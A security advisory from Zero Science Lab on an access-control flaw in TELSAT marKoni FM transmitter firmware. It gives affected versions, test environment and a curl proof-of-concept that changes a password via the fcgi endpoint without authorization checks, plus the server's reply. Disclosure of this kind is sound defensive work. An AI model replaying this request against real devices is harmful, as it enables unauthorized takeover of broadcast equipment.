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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Change Password


Vendor: TELSAT Srl
Product web page: https://www.markoni.it
Affected version: Markoni-D (Compact) FM Transmitters
                  Markoni-DH (Exciter+Amplifiers) FM Transmitters
                  Markoni-A (Analogue Modulator) FM Transmitters
                  Firmware: 1.9.5
                            1.9.3
                            1.5.9
                            1.4.6
                            1.3.9

Summary: Professional FM transmitters.

Desc: Unauthorized user could exploit this vulnerability to change
his/her password, potentially gaining unauthorized access to sensitive
information or performing actions beyond her/his designated permissions.

Tested on: GNU/Linux 3.10.53 (armv7l)
           icorem6solox
           lighttpd/1.4.33


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2024-5811
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5811.php


10.11.2023

--


PoC request of a user changing his own password.
Only admin can edit users. No permissions or Cookie check.

$ curl -s -H "Cookie: name=user-1702119917" \
http://10.0.8.3:88/cgi-bin/ekafcgi.fcgi?OpCode=4&username=user&password=user&newpassword=t00tw00t

HTTP/1.1 200 OK
Content-type: text/html
Cache-control: no-cache
Set-Cookie: name=user-1702119917; max-age=315360000
Transfer-Encoding: chunked
Date: Sat, 9 Dec 2023 11:05:17 GMT
Server: lighttpd/1.4.33

oc=4&resp=0